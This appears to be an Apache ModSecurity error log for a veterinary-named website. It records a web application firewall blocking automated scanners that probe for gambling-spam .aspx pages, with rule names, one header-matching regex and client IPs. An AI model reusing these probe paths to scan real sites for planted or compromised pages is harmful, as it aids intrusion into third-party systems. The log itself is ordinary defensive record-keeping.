[Sat Feb 14 19:51:34.588708 2026] [:error] [pid 35135:tid 35139] [client 146.59.46.29:37592] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZBhxokSccJZYMDP04xAFAAAAQE"]
[Sat Feb 14 19:51:45.566275 2026] [:error] [pid 35135:tid 35160] [client 146.59.46.29:51200] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZBh0YkSccJZYMDP04xAKAAAARY"]
[Sat Feb 14 19:52:31.395481 2026] [:error] [pid 56720:tid 56790] [client 43.135.145.77:39472] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZBh_3jg3vzUoXJ19eAc8gAAA80"]
[Sat Feb 14 21:04:12.968761 2026] [:error] [pid 53981:tid 54046] [client 51.83.237.175:53226] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aZByzNGxz-sjlGLnWnvSEQAAA0k"]
[Sat Feb 14 21:04:14.208885 2026] [:error] [pid 53980:tid 54031] [client 51.83.237.175:53228] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZByztposYBT7xU8oxTHAgAAAtU"]
[Sat Feb 14 21:04:14.370986 2026] [:error] [pid 39456:tid 39490] [client 51.83.237.175:47454] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZByzoKeIqKLynHIGnjbswAAAkQ"]
[Sat Feb 14 21:04:14.568538 2026] [:error] [pid 53920:tid 53966] [client 51.83.237.175:53232] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aZByzirmNDNQ_-GD91KCPQAAAVE"]
[Sat Feb 14 21:04:15.187976 2026] [:error] [pid 36056:tid 36070] [client 51.83.237.175:56750] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234%20superslot.aspx"] [unique_id "aZByz7v3wQbSPS1vpOgfogAAAAw"]
[Sat Feb 14 21:04:17.087760 2026] [:error] [pid 50339:tid 50382] [client 51.83.237.175:47470] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZBy0cI6TclQ9GOl2Y15lQAAAgw"]
[Sat Feb 14 21:04:17.523916 2026] [:error] [pid 53980:tid 54016] [client 51.83.237.175:41998] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZBy0dposYBT7xU8oxTHBgAAAsY"]
[Sat Feb 14 21:04:18.972191 2026] [:error] [pid 26150:tid 26158] [client 51.83.237.175:42012] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aZBy0qqmPH3D5QJaUSHSNAAAAIQ"]
[Sat Feb 14 21:04:19.454935 2026] [:error] [pid 26150:tid 26170] [client 51.83.237.175:42028] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/168%20slot.aspx"] [unique_id "aZBy06qmPH3D5QJaUSHSNQAAAJA"]
[Sat Feb 14 21:04:19.463902 2026] [:error] [pid 53981:tid 54057] [client 51.83.237.175:42038] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBy09Gxz-sjlGLnWnvSGQAAA1Q"]
[Sat Feb 14 21:04:20.456263 2026] [:error] [pid 36219:tid 36257] [client 51.83.237.175:42052] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZBy1Je-m2OpEy0FNjhcjAAAA4k"]
[Sat Feb 14 21:04:20.957878 2026] [:error] [pid 53920:tid 53968] [client 51.83.237.175:42068] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZBy1CrmNDNQ_-GD91KCSwAAAVM"]
[Sat Feb 14 21:04:22.194295 2026] [:error] [pid 26150:tid 26162] [client 51.83.237.175:42076] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZBy1qqmPH3D5QJaUSHSOQAAAIg"]
[Sat Feb 14 21:04:23.901750 2026] [:error] [pid 50339:tid 50382] [client 51.83.237.175:42078] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZBy18I6TclQ9GOl2Y15oQAAAgw"]
[Sat Feb 14 21:04:24.140947 2026] [:error] [pid 53920:tid 53959] [client 51.83.237.175:42090] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZBy2CrmNDNQ_-GD91KCTAAAAUo"]
[Sat Feb 14 21:04:25.266748 2026] [:error] [pid 39456:tid 39508] [client 51.83.237.175:42104] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZBy2YKeIqKLynHIGnjbwgAAAlY"]
[Sat Feb 14 21:04:26.743082 2026] [:error] [pid 39456:tid 39491] [client 51.83.237.175:42120] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZBy2oKeIqKLynHIGnjbxQAAAkU"]
[Sat Feb 14 21:04:26.951624 2026] [:error] [pid 50339:tid 50385] [client 51.83.237.175:42134] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZBy2sI6TclQ9GOl2Y15qQAAAg8"]
[Sat Feb 14 21:04:28.342130 2026] [:error] [pid 50339:tid 50373] [client 51.83.237.175:42106] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "aZBy3MI6TclQ9GOl2Y15rwAAAgM"]
[Sat Feb 14 21:04:28.674564 2026] [:error] [pid 50339:tid 50382] [client 51.83.237.175:50754] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZBy3MI6TclQ9GOl2Y15sAAAAgw"]
[Sat Feb 14 21:04:29.611007 2026] [:error] [pid 53980:tid 54018] [client 51.83.237.175:50768] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZBy3dposYBT7xU8oxTHCgAAAsg"]
[Sat Feb 14 21:04:31.011722 2026] [:error] [pid 39456:tid 39505] [client 51.83.237.175:50776] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZBy34KeIqKLynHIGnjbywAAAlM"]
[Sat Feb 14 21:04:31.494298 2026] [:error] [pid 53980:tid 54029] [client 51.83.237.175:50790] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZBy39posYBT7xU8oxTHDAAAAtM"]
[Sat Feb 14 21:04:32.070867 2026] [:error] [pid 39456:tid 39486] [client 51.83.237.175:50796] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZBy4IKeIqKLynHIGnjbzAAAAkA"]
[Sat Feb 14 21:04:34.304290 2026] [:error] [pid 50339:tid 50391] [client 51.83.237.175:50816] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZBy4sI6TclQ9GOl2Y15vAAAAhU"]
[Sat Feb 14 21:04:34.522780 2026] [:error] [pid 36219:tid 36260] [client 51.83.237.175:50830] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZBy4pe-m2OpEy0FNjhckQAAA4w"]
[Sat Feb 14 21:04:34.681566 2026] [:error] [pid 36219:tid 36265] [client 51.83.237.175:50806] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "aZBy4pe-m2OpEy0FNjhckgAAA5E"]
[Sat Feb 14 21:04:35.062664 2026] [:error] [pid 39456:tid 39510] [client 51.83.237.175:50846] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZBy44KeIqKLynHIGnjb0gAAAlg"]
[Sat Feb 14 21:04:37.216260 2026] [:error] [pid 50339:tid 50375] [client 51.83.237.175:50862] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZBy5cI6TclQ9GOl2Y15wAAAAgU"]
[Sat Feb 14 21:04:37.727932 2026] [:error] [pid 39456:tid 39498] [client 51.83.237.175:40270] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZBy5YKeIqKLynHIGnjb1gAAAkw"]
[Sat Feb 14 21:04:38.523990 2026] [:error] [pid 39456:tid 39505] [client 51.83.237.175:40284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZBy5oKeIqKLynHIGnjb1wAAAlM"]
[Sat Feb 14 21:04:40.311624 2026] [:error] [pid 39456:tid 39500] [client 51.83.237.175:40302] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZBy6IKeIqKLynHIGnjb2AAAAk4"]
[Sat Feb 14 21:04:40.353491 2026] [:error] [pid 26150:tid 26173] [client 51.83.237.175:40306] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZBy6KqmPH3D5QJaUSHSTAAAAJM"]
[Sat Feb 14 21:04:40.426087 2026] [:error] [pid 26150:tid 26163] [client 51.83.237.175:40294] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aZBy6KqmPH3D5QJaUSHSTQAAAIk"]
[Sat Feb 14 21:04:42.289216 2026] [:error] [pid 26150:tid 26178] [client 51.83.237.175:40310] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZBy6qqmPH3D5QJaUSHSUAAAAJg"]
[Sat Feb 14 21:04:42.922189 2026] [:error] [pid 53920:tid 53952] [client 51.83.237.175:40322] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZBy6irmNDNQ_-GD91KCUAAAAUM"]
[Sat Feb 14 21:04:43.690298 2026] [:error] [pid 26150:tid 26169] [client 51.83.237.175:40328] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZBy66qmPH3D5QJaUSHSUgAAAI8"]
[Sat Feb 14 21:04:45.349423 2026] [:error] [pid 26150:tid 26164] [client 51.83.237.175:40352] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZBy7aqmPH3D5QJaUSHSUwAAAIo"]
[Sat Feb 14 21:04:45.399928 2026] [:error] [pid 53980:tid 54031] [client 51.83.237.175:40358] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZBy7dposYBT7xU8oxTHFQAAAtU"]
[Sat Feb 14 21:04:45.809021 2026] [:error] [pid 53979:tid 54000] [client 51.83.237.175:40342] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aZBy7Yfb_0QPnk6UIuNW0AAAAZE"]
[Sat Feb 14 21:04:46.685879 2026] [:error] [pid 53981:tid 54059] [client 51.83.237.175:40364] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZBy7tGxz-sjlGLnWnvSKgAAA1Y"]
[Sat Feb 14 21:04:47.920844 2026] [:error] [pid 53979:tid 54004] [client 51.83.237.175:44888] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZBy74fb_0QPnk6UIuNW0QAAAZU"]
[Sat Feb 14 21:04:48.293097 2026] [:error] [pid 53920:tid 53960] [client 51.83.237.175:44900] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZBy8CrmNDNQ_-GD91KCUQAAAUs"]
[Sat Feb 14 21:04:50.263090 2026] [:error] [pid 26150:tid 26172] [client 51.83.237.175:44922] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZBy8qqmPH3D5QJaUSHSWQAAAJI"]
[Sat Feb 14 21:04:51.072098 2026] [:error] [pid 50339:tid 50373] [client 51.83.237.175:44914] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZBy88I6TclQ9GOl2Y15yAAAAgM"]
[Sat Feb 14 21:04:51.280178 2026] [:error] [pid 53920:tid 53962] [client 51.83.237.175:44932] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZBy8yrmNDNQ_-GD91KCVgAAAU0"]
[Sat Feb 14 21:04:51.520497 2026] [:error] [pid 39454:tid 39465] [client 51.83.237.175:44940] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZBy84f01uYc0DFDtzvYHAAAAcY"]
[Sat Feb 14 21:04:53.160775 2026] [:error] [pid 53980:tid 54012] [client 51.83.237.175:44952] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZBy9dposYBT7xU8oxTHHAAAAsI"]
[Sat Feb 14 21:04:54.514698 2026] [:error] [pid 53980:tid 54014] [client 51.83.237.175:44978] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZBy9tposYBT7xU8oxTHHgAAAsQ"]
[Sat Feb 14 21:04:54.614222 2026] [:error] [pid 36056:tid 36062] [client 51.83.237.175:44966] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZBy9rv3wQbSPS1vpOgfuwAAAAQ"]
[Sat Feb 14 21:04:56.084517 2026] [:error] [pid 26150:tid 26158] [client 51.83.237.175:44994] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZBy-KqmPH3D5QJaUSHSYAAAAIQ"]
[Sat Feb 14 21:04:56.670827 2026] [:error] [pid 53980:tid 54010] [client 51.83.237.175:44996] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZBy-NposYBT7xU8oxTHHwAAAsA"]
